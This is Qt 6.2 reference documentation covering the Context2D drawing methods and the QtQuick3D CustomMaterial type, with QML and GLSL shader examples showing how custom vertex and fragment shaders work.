 **See also** [CanvasImageData](qml-qtquick-canvasimagedata), [Image](qml-qtquick-image), [Canvas::loadImage](qml-qtquick-canvas#loadImage-method), [Canvas::isImageLoaded](qml-qtquick-canvas#isImageLoaded-method), [Canvas::imageLoaded](qml-qtquick-canvas#imageLoaded-signal), and [W3C 2d context standard for drawImage](http://www.w3.org/TR/2dcontext/#dom-context-2d-drawimage).

 ###  object ellipse([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *w*, [real](qml-real) *h*)

 Creates an ellipse within the bounding rectangle defined by its top-left corner at (*x*, *y*), width *w* and height *h*, and adds it to the path as a closed subpath.

 The ellipse is composed of a clockwise curve, starting and finishing at zero degrees (the 3 o'clock position).

 ###  object fill()

 Fills the subpaths with the current fill style.

 **See also** [W3C 2d context standard for fill](http://www.w3.org/TR/2dcontext/#dom-context-2d-fill) and [fillStyle](qml-qtquick-context2d#fillStyle-prop).

 ###  object fillRect([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *w*, [real](qml-real) *h*)

 Paints a rectangular area specified by (*x*, *y*, *w*, *h*) using [fillStyle](qml-qtquick-context2d#fillStyle-prop).

 **See also** [fillStyle](qml-qtquick-context2d#fillStyle-prop).

 ###  object fillText(*text*, *x*, *y*)

 Fills the specified *text* at the given position (*x*, *y*).

 **See also** [font](qml-qtquick-context2d#font-prop), [textAlign](qml-qtquick-context2d#textAlign-prop), [textBaseline](qml-qtquick-context2d#textBaseline-prop), and [strokeText](qml-qtquick-context2d#strokeText-method).

 ###  [CanvasImageData](qml-qtquick-canvasimagedata) getImageData([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *w*, [real](qml-real) *h*)

 Returns an [CanvasImageData](qml-qtquick-canvasimagedata) object containing the image data for the canvas rectangle specified by (*x*, *y*, *w*, *h*).

 ###  `[since QtQuick 2.11]` array getLineDash()

 Returns an array of qreals representing the dash pattern of the line.

 This method was introduced in QtQuick 2.11.

 **See also** [setLineDash](qml-qtquick-context2d#setLineDash-method)() and [lineDashOffset](qml-qtquick-context2d#lineDashOffset-prop).

 ###  object isPointInPath([real](qml-real) *x*, [real](qml-real) *y*)

 Returns `true` if the point (*x*, *y*) is in the current path.

 **See also** [W3C 2d context standard for isPointInPath](http://www.w3.org/TR/2dcontext/#dom-context-2d-ispointinpath).

 ###  object lineTo([real](qml-real) *x*, [real](qml-real) *y*)

 Draws a line from the current position to the point at (*x*, *y*).

 ###  object measureText(*text*)

 Returns an object with a `width` property, whose value is equivalent to calling [QFontMetrics::horizontalAdvance](qfontmetrics#horizontalAdvance)() with the given *text* in the current font.

 ###  object moveTo([real](qml-real) *x*, [real](qml-real) *y*)

 Creates a new subpath with a point at (*x*, *y*).

 ###  object putImageData([CanvasImageData](qml-qtquick-canvasimagedata) *imageData*, [real](qml-real) *dx*, [real](qml-real) *dy*, [real](qml-real) *dirtyX*, [real](qml-real) *dirtyY*, [real](qml-real) *dirtyWidth*, [real](qml-real) *dirtyHeight*)

 Paints the data from the given *imageData* object onto the canvas at (*dx*, *dy*).

 If a dirty rectangle (*dirtyX*, *dirtyY*, *dirtyWidth*, *dirtyHeight*) is provided, only the pixels from that rectangle are painted.

 ###  object quadraticCurveTo([real](qml-real) *cpx*, [real](qml-real) *cpy*, [real](qml-real) *x*, [real](qml-real) *y*)

 Adds a quadratic bezier curve between the current point and the endpoint (*x*, *y*) with the control point specified by (*cpx*, *cpy*).

 **See also** [W3C 2d context standard for quadraticCurveTo](http://www.w3.org/TR/2dcontext/#dom-context-2d-quadraticcurveto).

 ###  object rect([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *w*, [real](qml-real) *h*)

 Adds a rectangle at position (*x*, *y*), with the given width *w* and height *h*, as a closed subpath.

 ###  object reset()

 Resets the context state and properties to the default values.

 ###  object resetTransform()

 Reset the transformation matrix to the default value (equivalent to calling [setTransform](qml-qtquick-context2d#setTransform-method)(`1`, `0`, `0`, `1`, `0`, `0`)).

 **See also** [transform](qml-qtquick-context2d#transform-method)(), [setTransform](qml-qtquick-context2d#setTransform-method)(), and [reset](qml-qtquick-context2d#reset-method)().

 ###  object restore()

 Pops the top state on the stack, restoring the context to that state.

 **See also** [save](qml-qtquick-context2d#save-method)().

 ###  object rotate([real](qml-real) *angle*)

 Rotate the canvas around the current origin by *angle* in radians and clockwise direction.

 
```
ctx.rotate(Math.PI/2);
```
 ![]


The rotation transformation matrix is as follows:

 ![]


where the *angle* of rotation is in radians.

 ###  object roundedRect([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *w*, [real](qml-real) *h*, [real](qml-real) *xRadius*, [real](qml-real) *yRadius*)

 Adds a rounded-corner rectangle, specified by (*x*, *y*, *w*, *h*), to the path. The *xRadius* and *yRadius* arguments specify the radius of the ellipses defining the corners of the rounded rectangle.

 ###  object save()

 Pushes the current state onto the state stack.

 Before changing any state attributes, you should save the current state for future reference. The context maintains a stack of drawing states. Each state consists of the current transformation matrix, clipping region, and values of the following attributes:

 * [strokeStyle](qml-qtquick-context2d#strokeStyle-prop)
* [fillStyle](qml-qtquick-context2d#fillStyle-prop)
* [fillRule](qml-qtquick-context2d#fillRule-prop)
* [globalAlpha](qml-qtquick-context2d#globalAlpha-prop)
* [lineWidth](qml-qtquick-context2d#lineWidth-prop)
* [lineCap](qml-qtquick-context2d#lineCap-prop)
* [lineJoin](qml-qtquick-context2d#lineJoin-prop)
* [miterLimit](qml-qtquick-context2d#miterLimit-prop)
* [shadowOffsetX](qml-qtquick-context2d#shadowOffsetX-prop)
* [shadowOffsetY](qml-qtquick-context2d#shadowOffsetY-prop)
* [shadowBlur](qml-qtquick-context2d#shadowBlur-prop)
* [shadowColor](qml-qtquick-context2d#shadowColor-prop)
* [globalCompositeOperation](qml-qtquick-context2d#globalCompositeOperation-prop)
* [font](qml-qtquick-context2d#font-prop)
* [textAlign](qml-qtquick-context2d#textAlign-prop)
* [textBaseline](qml-qtquick-context2d#textBaseline-prop)

 The current path is NOT part of the drawing state. The path can be reset by invoking the [beginPath](qml-qtquick-context2d#beginPath-method)() method.

 ###  object scale([real](qml-real) *x*, [real](qml-real) *y*)

 Increases or decreases the size of each unit in the canvas grid by multiplying the scale factors to the current tranform matrix. *x* is the scale factor in the horizontal direction and *y* is the scale factor in the vertical direction.

 The following code doubles the horizontal size of an object drawn on the canvas and halves its vertical size:

 
```
ctx.scale(2.0, 0.5);
```
 ![]

 ###  `[since QtQuick 2.11]` setLineDash(array *pattern*)

 Sets the dash pattern to the given pattern.

 *pattern* a list of numbers that specifies distances to alternately draw a line and a gap.

 If the number of elements in the array is odd, the elements of the array get copied and concatenated. For example, [5, 15, 25] will become [5, 15, 25, 5, 15, 25].

 

|  |  |
| --- | --- |
|  | 
```
var space = 4
ctx.setLineDash([1, space, 3, space, 9, space, 27, space, 9, space])
...
ctx.stroke();
```
 |

 This method was introduced in QtQuick 2.11.

 **See also** [getLineDash](qml-qtquick-context2d#getLineDash-method)() and [lineDashOffset](qml-qtquick-context2d#lineDashOffset-prop).

 ###  object setTransform([real](qml-real) *a*, [real](qml-real) *b*, [real](qml-real) *c*, [real](qml-real) *d*, [real](qml-real) *e*, [real](qml-real) *f*)

 Changes the transformation matrix to the matrix given by the arguments as described below.

 Modifying the transformation matrix directly enables you to perform scaling, rotating, and translating transformations in a single step.

 Each point on the canvas is multiplied by the matrix before anything is drawn. The [HTML Canvas 2D Context specification](http://www.w3.org/TR/2dcontext/#transformations) defines the transformation matrix as:

 ![]


where:

 * *a* is the scale factor in the horizontal (x) direction![]
* *c* is the skew factor in the x direction![]
* *e* is the translation in the x direction![]
* *b* is the skew factor in the y (vertical) direction![]
* *d* is the scale factor in the y direction![]
* *f* is the translation in the y direction![]
* the last row remains constant

 The scale factors and skew factors are multiples; *e* and *f* are coordinate space units, just like the units in the translate(x,y) method.

 **See also** [transform](qml-qtquick-context2d#transform-method)().

 ###  object shear([real](qml-real) *sh*, [real](qml-real) *sv*)

 Shears the transformation matrix by *sh* in the horizontal direction and *sv* in the vertical direction.

 ###  object stroke()

 Strokes the subpaths with the current stroke style.

 **See also** [strokeStyle](qml-qtquick-context2d#strokeStyle-prop) and [W3C 2d context standard for stroke](http://www.w3.org/TR/2dcontext/#dom-context-2d-stroke).

 ###  object strokeRect([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *w*, [real](qml-real) *h*)

 Strokes the path of the rectangle specified by (*x*, *y*, *w*, *h*) using [strokeStyle](qml-qtquick-context2d#strokeStyle-prop), [lineWidth](qml-qtquick-context2d#lineWidth-prop), [lineJoin](qml-qtquick-context2d#lineJoin-prop), and (if appropriate) [miterLimit](qml-qtquick-context2d#miterLimit-prop) attributes.

 **See also** [strokeStyle](qml-qtquick-context2d#strokeStyle-prop), [lineWidth](qml-qtquick-context2d#lineWidth-prop), [lineJoin](qml-qtquick-context2d#lineJoin-prop), and [miterLimit](qml-qtquick-context2d#miterLimit-prop).

 ###  object strokeText(*text*, *x*, *y*)

 Strokes the given *text* at a position specified by (*x*, *y*).

 **See also** [font](qml-qtquick-context2d#font-prop), [textAlign](qml-qtquick-context2d#textAlign-prop), [textBaseline](qml-qtquick-context2d#textBaseline-prop), and [fillText](qml-qtquick-context2d#fillText-method).

 ###  object text([string](qml-string) *text*, [real](qml-real) *x*, [real](qml-real) *y*)

 Adds the given *text* to the path as a set of closed subpaths created from the current context font supplied.

 The subpaths are positioned so that the left end of the text's baseline lies at the point specified by (*x*, *y*).

 ###  object transform([real](qml-real) *a*, [real](qml-real) *b*, [real](qml-real) *c*, [real](qml-real) *d*, [real](qml-real) *e*, [real](qml-real) *f*)

 This method is very similar to [setTransform](qml-qtquick-context2d#setTransform-method)(), but instead of replacing the old transform matrix, this method applies the given tranform matrix to the current matrix by multiplying to it.

 The [setTransform](qml-qtquick-context2d#setTransform-method)(*a*, *b*, *c*, *d*, *e*, *f*) method actually resets the current transform to the identity matrix, and then invokes the transform(*a*, *b*, *c*, *d*, *e*, *f*) method with the same arguments.

 **See also** [setTransform](qml-qtquick-context2d#setTransform-method)().

 ###  object translate([real](qml-real) *x*, [real](qml-real) *y*)

 Translates the origin of the canvas by a horizontal distance of *x*, and a vertical distance of *y*, in coordinate space units.

 Translating the origin enables you to draw patterns of different objects on the canvas without having to measure the coordinates manually for each shape.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-context2d.html>

CustomMaterial QML Type
=======================

 Base component for creating custom materials used to shade models. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherits: | [Material](qml-qtquick3d-material) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-custommaterial-members.html)

 Properties
----------

 * **[alwaysDirty](qml-qtquick3d-custommaterial#alwaysDirty-prop)** : bool
* **[destinationBlend](qml-qtquick3d-custommaterial#destinationBlend-prop)** : enumeration
* **[fragmentShader](qml-qtquick3d-custommaterial#fragmentShader-prop)** : url
* **[lineWidth](qml-qtquick3d-custommaterial#lineWidth-prop)** : real
* **[shadingMode](qml-qtquick3d-custommaterial#shadingMode-prop)** : enumeration
* **[sourceBlend](qml-qtquick3d-custommaterial#sourceBlend-prop)** : enumeration
* **[vertexShader](qml-qtquick3d-custommaterial#vertexShader-prop)** : url

 Detailed Description
--------------------

 The custom material allows using custom shader code for a material, enabling programmability on graphics shader level. A vertex, fragment, or both shaders can be provided. The [vertexShader](qml-qtquick3d-custommaterial#vertexShader-prop) and [fragmentShader](qml-qtquick3d-custommaterial#fragmentShader-prop) properties are URLs, referencing files containing shader snippets, and work very similarly to [ShaderEffect](qml-qtquick-shadereffect) or [Image.source](qml-qtquick-image#source-prop). Only the `file` and `qrc` schemes are supported with custom materials. It is also possible to omit the `file` scheme, allowing to specify a relative path in a convenient way. Such a path is resolved relative to the component's (the `.qml` file's) location.

 For a getting started guide to custom materials, see the page [Programmable Materials, Effects, Geometry, and Texture data](qtquick3d-custom).

 Introduction
------------

 Consider the following versions of the same scene. On the left, the cylinder is using a built-in, non-programmable material. Such materials are configurable through a wide range of properties, but there is no further control given over the shaders that are generated under the hood. On the right, the same cylinder is now associated with a CustomMaterial referencing application-provided vertex and fragment shader snippets. This allows inserting custom, application-specific logic into the vertex shader to transform the geometry, and to determine certain color properties in a custom manner in the fragment shader. As this is a [shaded](qml-qtquick3d-custommaterial#shadingMode-prop) custom material, the cylinder still participates in the scene lighting normally.

 

|  |  |
| --- | --- |
| 
```
View3D {
    anchors.fill: parent
    PerspectiveCamera {
        id: camera
        position: Qt.vector3d(0, 0, 600)
    }
    camera: camera
    DirectionalLight {
        position: Qt.vector3d(-500, 500, -100)
        color: Qt.rgba(0.2, 0.2, 0.2, 1.0)
        ambientColor: Qt.rgba(0.1, 0.1, 0.1, 1.0)
    }
    Model {
        source: "#Cylinder"
        eulerRotation: Qt.vector3d(30, 30, 0)
        scale: Qt.vector3d(1.5, 1.5, 1.5)
        materials: [
            DefaultMaterial {
                diffuseColor: Qt.rgba(0, 1, 0, 1)
            }
        ]
    }
}
```
 | 
```
View3D {
    anchors.fill: parent
    PerspectiveCamera {
        id: camera
        position: Qt.vector3d(0, 0, 600)
    }
    camera: camera
    DirectionalLight {
        position: Qt.vector3d(-500, 500, -100)
        color: Qt.rgba(0.2, 0.2, 0.2, 1.0)
        ambientColor: Qt.rgba(0.1, 0.1, 0.1, 1.0)
    }
    Model {
        source: "#Cylinder"
        eulerRotation: Qt.vector3d(30, 30, 0)
        scale: Qt.vector3d(1.5, 1.5, 1.5)
        materials: [
            CustomMaterial {
                vertexShader: "material.vert"
                fragmentShader: "material.frag"
                property real uTime
                property real uAmplitude: 50
                NumberAnimation on uTime { from: 0; to: 100; duration: 10000; loops: -1 }
            }
        ]
    }
}
```
 |

 Let's assume that the shader snippets in `material.vert` and `material.frag` are the following:

 

|  |  |
| --- | --- |
| 
```
void MAIN()
{
    VERTEX.x += sin(uTime + VERTEX.y) * uAmplitude;
}
```
 | 
```
void MAIN()
{
    BASE_COLOR = vec4(0.0, 1.0, 0.0, 1.0);
}
```
 |

 Notice how `uTime` and `uAmplitude` are properties of the CustomMaterial element. They can change values and get animated normally, the values will be exposed to the shaders automatically without any further action from the developer.

 The result is a cylinder that animates its vertices:

 ![]


Two flavors of custom materials
-------------------------------

 There are two main types of custom materials. This is specified by the [shadingMode](qml-qtquick3d-custommaterial#shadingMode-prop) property. In [unshaded](qml-qtquick3d-custommaterial#shadingMode-prop) custom materials the fragment shader outputs a single `vec4` color, ignoring lights, light probes, shadowing in the scene. In [shaded](qml-qtquick3d-custommaterial#shadingMode-prop) materials the shader is expected to implement certain functions and work with built-in variables to take lighting and shadow contribution into account.

 The default choice is typically a shaded material, this is reflected in the default value of the [shadingMode](qml-qtquick3d-custommaterial#shadingMode-prop) property. This fits materials that needs to transform vertices or other incoming data from the geometry, or determine values like `BASE_COLOR` or `EMISSIVE_COLOR` in a custom manner, perhaps by sampling `SCREEN_TEXTURE` or `DEPTH_TEXTURE`, while still reciving light and shadow contributions from the scene. Additionally, such materials can also override and reimplement the equations used to calculate the contributions from directional, point, and other lights. The application-provided shader snippets are heavily amended by the Qt Quick 3D engine under the hood, in order to provide the features, such as lighting, the standard materials have.

 Unshaded materials are useful when the object's appearance is determined completely by the custom shader code. The shaders for such materials receive minimal additions by the engine, and therefore it is completely up to the shader to determine the final fragment color. This gives more freedom, but also limits possiblities to integrate with other elements of the scene, such as lights.

  **Note:** Shader code is always provided using Vulkan-style GLSL, regardless of the graphics API used by Qt at run time.

   **Note:** The vertex and fragment shader code provided by the material are not full, complete GLSL shaders on their own. Rather, they provide a set of functions, which are then amended with further shader code by the engine.

  Exposing data to the shaders
----------------------------

 The dynamic properties of the CustomMaterial can be changed and animated using QML and Qt Quick facilities, and the values are exposed to the shaders automatically. This in practice is very similar [ShaderEffect](qml-qtquick-shadereffect). The following list shows how properties are mapped:

 * bool, int, real -> bool, int, float
* [QColor](qcolor), [color](qml-qtqml-qt#rgba-method) -> vec4, and the color gets converted to linear, assuming sRGB space for the color value specified in QML. The built-in Qt colors, such as `"green"` are in sRGB color space as well, and the same conversion is performed for all color properties of [DefaultMaterial](qml-qtquick3d-defaultmaterial) and [PrincipledMaterial](qml-qtquick3d-principledmaterial), so this behavior of CustomMaterial matches those. Unlike Qt Quick, for Qt Quick 3D linearizing is essential as there will typically be tonemapping performed on the 3D scene.
* [QRect](qrect), [QRectF](qrectf), [rect](qml-qtqml-qt#rect-method) -> vec4
* [QPoint](qpoint), [QPointF](qpointf), [point](qml-qtqml-qt#point-method), [QSize](qsize), [QSizeF](qsizef), [size](qml-qtqml-qt#size-method) -> vec2
* [QVector2D](qvector2d), [vector2d](qml-qtqml-qt#vector2d-method) -> vec2
* [QVector3D](qvector3d), [vector3d](qml-qtqml-qt#vector3d-method) -> vec3
* [QVector4D](qvector4d), [vector4d](qml-qtqml-qt#vector4d-method) -> vec4
* [QMatrix4x4](qmatrix4x4), [matrix4x4](qml-qtqml-qt#matrix4x4-method) -> mat4
* [QQuaternion](qquaternion), [quaternion](qml-qtqml-qt#quaternion-method) -> vec4, scalar value is `w`
* [TextureInput](qml-qtquick3d-textureinput) -> sampler2D - Textures referencing [image files](qml-qtquick3d-texture#source-prop) and [Qt Quick item layers](qml-qtquick3d-texture#sourceItem-prop) are both supported. Setting the [enabled](qml-qtquick3d-textureinput#enabled-prop) property to false leads to exposing a dummy texture to the shader, meaning the shaders are still functional but will sample a texture with opaque black image content. Pay attention to the fact that properties for samplers must always reference a [TextureInput](qml-qtquick3d-textureinput) object, not a [Texture](qml-qtquick3d-texture) directly. When it comes to the [Texture](qml-qtquick3d-texture) properties, the source, tiling, and filtering related ones are the only ones that are taken into account implicitly with custom materials, as the rest (such as, UV transformations) is up to the custom shaders to implement as they see fit.

  **Note:** When a uniform referenced in the shader code does not have a corresponding property, it will cause a shader compilation error when processing the material at run time. There are some exceptions to this, such as, sampler uniforms, that get a dummy texture bound when no corresponding QML property is present, but as a general rule, all uniforms and samplers must have a corresponding property declared in the CustomMaterial object.

  Unshaded custom materials
-------------------------

 The following is an example of an [unshaded](qml-qtquick3d-custommaterial#shadingMode-prop) custom material.

 
```
CustomMaterial {
    // These properties are automatically exposed to the shaders
    property real time: 0.0
    property real amplitude: 5.0
    property real alpha: 1.0
    property TextureInput tex: TextureInput {
        enabled: true
        texture: Texture { source: "image.png" }
    }

    shadingMode: CustomMaterial.Unshaded
    sourceBlend: alpha < 1.0 ? CustomMaterial.SrcAlpha : CustomMaterial.NoBlend
    destinationBlend: alpha < 1.0 ? CustomMaterial.OneMinusSrcAlpha : CustomMaterial.NoBlend
    cullMode: CustomMaterial.BackFaceCulling

    vertexShader: "customshader.vert"
    fragmentShader: "customshader.frag"
}
```
 With the above example, the [unshaded](qml-qtquick3d-custommaterial#shadingMode-prop) vertex and fragment shaders snippets could look like the following. Note how the shaders do not, and must not, declare uniforms or vertex inputs as that is taken care of by Qt when assembling the final shader code.

 
```
VARYING vec3 pos;
VARYING vec2 texcoord;

void MAIN()
{
    pos = VERTEX;
    pos.x += sin(time * 4.0 + pos.y) * amplitude;
    texcoord = UV0;
    POSITION = MODELVIEWPROJECTION_MATRIX * vec4(pos, 1.0);
}
```
 
```
VARYING vec3 pos;
VARYING vec2 texcoord;

void MAIN()
{
    vec4 c = texture(tex, texcoord);
    FRAGCOLOR = vec4(pos.x * 0.02, pos.y * 0.02, pos.z * 0.02, alpha) * c;
}
```
 The following special, uppercase keywords are available:

 * MAIN -> the name of the entry point in the vertex or fragment shader snippet must always be `MAIN`. Providing this function is mandatory in shader snippets for unshaded custom materials.
* VARYING -> declares an output from the vertex shader or an input to the fragment shader
* POSITION -> vec4, the output from the vertex shader
* FRAGCOLOR -> vec4, the output from the fragment shader. Available only for unshaded custom materials.
* VERTEX -> vec3, the vertex position in the vertex shader.
* NORMAL -> vec3, the vertex normal in the vertex shader. When the mesh for the associated model does not provide normals, the value is vec3(0.0).
* UV0 -> vec2, the first set of texture coordinates in the vertex shader. When the mesh for the associated model does not provide texture coordinates, the value is vec2(0.0).
* UV1 -> vec2, the second set of texture coordinates in the vertex shader. When the mesh for the associated model does not provide a second set of texture coordinates, the value is vec2(0.0).
* COLOR -> vec4, the vertex color in the vertex shader. When the mesh for the associated model does not provide per-vertex colors, the value is vec4(1.0).
* TANGENT -> vec3, tangent in the vertex shader. When the mesh for the associated model does not provide tangent data, the value is vec3(0.0).
* BINORMAL -> vec3, binormal in the vertex shader. When the mesh for the associated model does not provide binormal data, the value is vec3(0.0).
* JOINTS -> ivec4, joint indexes in the vertex shader. When the mesh for the associated model does not provide joint indexes data, the value is ivec4(0).
* WEIGHTS -> vec4, joint weights in the vertex shader. When the mesh for the associated model does not provide joint weights data, the value is vec4(0.0).
* MORPH\_POSITION*n* -> vec3, the *n*th morph target position in the vertex shader. *n*'s range is from 0 to 7. The associated model should provide proper data. For safety, the user can check **defined(QT\_MORPH\_IN\_POSITION*n*)** before use it.
* MORPH\_NORMAL*n* -> vec3, the *n*th morph target normal in the vertex shader. *n*'s range is from 0 to 4. The associated model should provide proper data. For safety, the user can check **defined(QT\_MORPH\_IN\_NORMAL*n*)** before use it.
* MORPH\_TANGENT*n* -> vec3, the *n*th morph target tangent in the vertex shader. *n*'s range is from 0 to 1. The associated model should provide proper data. For safety, the user can check **defined(QT\_MORPH\_IN\_TANGENT*n*)** before use it.
* MORPH\_BINORMAL*n* -> vec3, the *n*th morph target binormal in the vertex shader. *n*'s range is from 0 to 1. The associated model should provide proper data. For safety, the user can check **defined(QT\_MORPH\_IN\_BINORMAL*n*)** before use it.
* MODELVIEWPROJECTION\_MATRIX -> mat4, the model-view-projection matrix. Projection matrices always follow OpenGL conventions, with a baked-in transformation for the Y axis direction and clip depth, depending on the graphics API used at run time.
* VIEWPROJECTION\_MATRIX -> mat4, the view-projection matrix
* PROJECTION\_MATRIX -> mat4, the projection matrix
* INVERSE\_PROJECTION\_MATRIX -> mat4, the inverse projection matrix
* VIEW\_MATRIX -> mat4, the view (camera) matrix
* MODEL\_MATRIX -> mat4, the model (world) matrix
* NORMAL\_MATRIX -> mat3, the normal matrix (the transpose of the inverse of the top-left 3x3 part of the model matrix)
* BONE\_TRANSFORMS -> mat4[], the array of the model's bone matrixes
* BONE\_NORMAL\_TRANSFORMS -> mat3[], the array of the model's bone normal matrixes (the transpose of the inverse of the top-left 3x3 part of the each bone matrixes)
* MORPH\_WEIGHTS -> float[], the array of the morph weights. The associated model should provide proper data. For safety, **QT\_MORPH\_MAX\_COUNT** is defined to the size of this array.
* CAMERA\_POSITION -> vec3, the camera position in world space
* CAMERA\_DIRECTION -> vec3, the camera direction vector
* CAMERA\_PROPERTIES -> vec2, the near and far clip values for the camera
* POINT\_SIZE -> float, writable in the vertex shader only. When rendering geometry with a topology of points, the custom vertex shader must set this to either 1.0 or another value, both in shaded and unshaded custom materials. See [PrincipledMaterial::pointSize](qml-qtquick3d-principledmaterial#pointSize-prop) for further notes on support for sizes other than 1.

 Shaded custom materials
-----------------------

 A [shaded](qml-qtquick3d-custommaterial#shadingMode-prop) material `augments` the shader code that would be generated by a [PrincipledMaterial](qml-qtquick3d-principledmaterial). Unlike unshaded materials, that provide almost all logic for the vertex and fragment shader main functions on their own, preventing adding generated code for lighting, shadowing, global illumination, etc., shaded materials let shader generation happen normally, as if the CustomMaterial was a [PrincipledMaterial](qml-qtquick3d-principledmaterial). The vertex and fragment shader snippets are expected to provide optional functions that are then invoked at certain points, giving them the possibility to customize the colors and other values that are then used for calculating lighting and the final fragment color.

 Rather than implementing just a `MAIN` function, the fragment shader for a shaded custom material can implement multiple functions. All functions, including `MAIN`, are optional to implement in shaded custom materials. An empty shader snippet, or, even, not specifying the [vertexShader](qml-qtquick3d-custommaterial#vertexShader-prop) or [fragmentShader](qml-qtquick3d-custommaterial#fragmentShader-prop) properties at all can be perfectly valid too.

 ### Vertex shader snippets in a shaded custom material

 The following functions can be implemented in a vertex shader snippet:

 * `void MAIN()` When present, this function is called in order to set the value of `POSITION`, the vec4 output from the vertex shader, and, optionally, to modify the values of `VERTEX`, `COLOR`, `NORMAL`, `UV0`, `UV1`, `TANGENT`, `BINORMAL`, `JOINTS`, and `WEIGHTS`. Unlike in unshaded materials, writing to these makes sense because the modified values are then taken into account in the rest of the generated shader code (whereas for unshaded materials there is no additional shader code generated). For example, if the custom vertex shader displaces the vertices or the normals, it will want to store the modified values to `VERTEX` or `NORMAL`, to achieve correct lighting calculations afterwards. Additionally, the function can write to variables defined with `VARYING` in order to pass interpolated data to the fragment shader. When this function or a redefinition of `POSITION` is not present, `POSITION` is calculated based on `VERTEX` and `MODELVIEWPROJECTION_MATRIX`, just like a [PrincipledMaterial](qml-qtquick3d-principledmaterial) would do.Example, with relying both on QML properties exposed as uniforms, and also passing data to the fragment shader:

 
```
VARYING vec3 vNormal;
VARYING vec3 vViewVec;

void MAIN()
{
    VERTEX.x += sin(uTime * 4.0 + VERTEX.y) * uAmplitude;
    vNormal = normalize(NORMAL_MATRIX * NORMAL);
    vViewVec = CAMERA_POSITION - (MODEL_MATRIX * vec4(VERTEX, 1.0)).xyz;
    POSITION = MODELVIEWPROJECTION_MATRIX * vec4(VERTEX, 1.0);
}
```
  **Note:** In the above example, assigning a value to `POSITION` is optional as the usage in this case is identical to the default behavior.

 ### Fragment shader snippets in a shaded custom material

 The following functions can be implemented in a fragment shader snippet:

 * `void MAIN()` When present, this function is called to set the values of the special writable variables `BASE_COLOR`, `METALNESS`, `ROUGHNESS`, `SPECULAR_AMOUNT`, NORMAL, and `FRESNEL_POWER`.One common use case is to set the value of `BASE_COLOR` based on sampling a texture, be it a base color map, `SCREEN_TEXTURE`, or some other kind of source. This can be relevant and convenient especially when no custom light processor functions are implemented. Setting `BASE_COLOR.a` to something other than the default 1.0 allows affecting the final alpha value of the fragment. (note that this will often require also enabling alpha blending in [sourceBlend](qml-qtquick3d-custommaterial#sourceBlend-prop) and [destinationBlend](qml-qtquick3d-custommaterial#destinationBlend-prop))

 Another scenario is when there is no custom `SPECULAR_LIGHT` function provided, or when there is a light probe set in the [SceneEnvironment](qml-qtquick3d-sceneenvironment). The metalness, roughness, and other values that affect the specular contribution calculation can be set in `MAIN` to their desired custom values.

 The function can write to the following special variables. The values written to these will typically be either hardcoded or be calculated based on QML properties mapped to uniforms. The semantics are identical to [PrincipledMaterial](qml-qtquick3d-principledmaterial).


	+ vec4 `BASE_COLOR` - The base color and material alpha value. Corresponds to the [built-in materials' color property](qml-qtquick3d-principledmaterial#baseColor-prop). When light processor functions are not implemented, it can be convenient to set a custom base color in `MAIN` because that is then taken into account in the default lighting calculations. The default value is `vec4(1.0)`, meaning white with an alpha of 1.0. The alpha value effects the final alpha of the fragment. The final alpha value is the object (model) opacity multiplied by the base color alpha. When specifying the value directly in shader code, not relying on uniform values exposed from **color** properties in QML, be aware that it is up to the shader to perform the sRGB to linear conversion, if needed. For example, assuming a `vec3 color` and `float alpha` this can be achieved like the following:
	```
	float C1 = 0.305306011;
	vec3 C2 = vec3(0.682171111, 0.682171111, 0.682171111);
	vec3 C3 = vec3(0.012522878, 0.012522878, 0.012522878);
	BASE_COLOR = vec4(rgb * (rgb * (rgb * C1 + C2) + C3), alpha);
	```
	+ vec3 `EMISSIVE_COLOR` - The color of self-illumination. Corresponds to the built-in materials' emissive color which is combined by [built-in materials's emissiveFactor property](qml-qtquick3d-principledmaterial#emissiveFactor-prop) and [built-in materials's emissiveMap property](qml-qtquick3d-principledmaterial#emissiveMap-prop). The default value is `vec3(0.0)`. When specifying the value directly in shader code, not relying on uniform values exposed from **color** properties in QML, be aware that it is up to the shader to perform the sRGB to linear conversion, if needed.
	+ float `METALNESS` Metalness amount in range 0.0 - 1.0. The default value is 0. Must be set to a non-zero value to have effect.
	+ float `ROUGHNESS` Roughness value in range 0.0 - 1.0. The default value is 0.
	+ float `FRESNEL_POWER` Specifies the fresnel power. A typical value, and also the default, is `5.0` as that is what a [PrincipledMaterial](qml-qtquick3d-principledmaterial) would use.
	+ float `SPECULAR_AMOUNT` Specular amount in range 0.0 - 1.0. The default value is `0.5`, matching [PrincipledMaterial::specularAmount](qml-qtquick3d-principledmaterial#specularAmount-prop). Must be set to a non-zero value to have effect.
	+ vec3 `NORMAL` - The normal that comes from the vertex shader in world space. While this property has the same initial value as `VAR_WORLD_NORMAL`, only changing the value of `NORMAL` will have an effect on lighting.
	+ vec3 `TANGENT` - The tanget that comes from the vertex shader in world space. This value is potentially adjusted for double-sidedness.
	+ vec3 `BINORMAL` - The binormal that comes from the vertex shader in world space. This value is potentially adjusted for double-sidedness.
	+ vec2 `UV0` - The first set of texture coordinates from the vertex shader. This property is readonly in the fragment shader.
	+ vec2 `UV1` - The second set of texture coordinates from the vertex shader. This property is readonly in the fragment shader. **Note:** Unlike with unshaded materials, the fragment `MAIN` for a shaded material has no direct control over `FRAGCOLOR`. Rather, it is the `DIFFUSE` and `SPECULAR` values written in the light processor functions that decide what the final fragment color is. When a light processor function is not implemented, the relevant default shading calculations are performed as with a [PrincipledMaterial](qml-qtquick3d-principledmaterial), taking `BASE_COLOR` and other values from the list above into account.

  An example of a simple, metallic custom material shader could be the following:

 
```
void MAIN()
{
    METALNESS = 1.0;
    ROUGHNESS = 0.5;
    FRESNEL_POWER = 5.0;
}
```
 Another example, where the base color and alpha are set by sampling a texture:

 
```
VARYING vec2 texcoord;
void MAIN()
{
    BASE_COLOR = texture(uColorMap, texcoord);
}
```
